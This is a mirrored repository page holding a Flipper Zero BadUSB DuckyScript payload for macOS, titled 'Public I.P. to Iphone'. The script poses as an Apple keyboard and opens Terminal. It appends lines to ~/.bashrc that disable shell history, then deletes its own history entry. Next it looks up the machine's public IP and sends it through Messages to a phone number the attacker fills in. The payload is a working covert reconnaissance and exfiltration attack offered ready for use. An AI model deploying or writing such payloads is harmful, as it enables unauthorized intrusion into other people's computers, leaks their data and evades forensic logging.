mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 22:40:14 +00:00
38 lines
920 B
Plaintext
38 lines
920 B
Plaintext
|
REM This script uses Mac Terminals ifconfig.me command to do a PUBLIC I.P. lookup
|
||
|
REM Then sends the I.p. to your phone via text message
|
||
|
REM Replace 'ENTER PHONE NUMBER HERE' with your actual Phone number
|
||
|
REM Shoutout to matthewkayne and 0iphor13 for the Phone code
|
||
|
|
||
|
|
||
|
REM Title: Public I.P. to Iphone
|
||
|
REM Author: Narsty
|
||
|
REM Target: MacOS
|
||
|
REM Version: 1.0
|
||
|
REM Category: Recon
|
||
|
|
||
|
ID 05ac:021e Apple:Keyboard
|
||
|
DELAY 500
|
||
|
GUI SPACE
|
||
|
DELAY 500
|
||
|
STRING terminal
|
||
|
DELAY 1000
|
||
|
ENTER
|
||
|
DELAY 500
|
||
|
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
|
||
|
DELAY 500
|
||
|
ENTER
|
||
|
DELAY 500
|
||
|
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
|
||
|
DELAY 500
|
||
|
ENTER
|
||
|
DELAY 500
|
||
|
ENTER
|
||
|
DELAY 500
|
||
|
STRING x=$(curl -s ifconfig.me/ip); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'
|
||
|
DELAY 500
|
||
|
ENTER
|
||
|
DELAY 4000
|
||
|
STRING CLEAR
|
||
|
DELAY 250
|
||
|
GUI w
|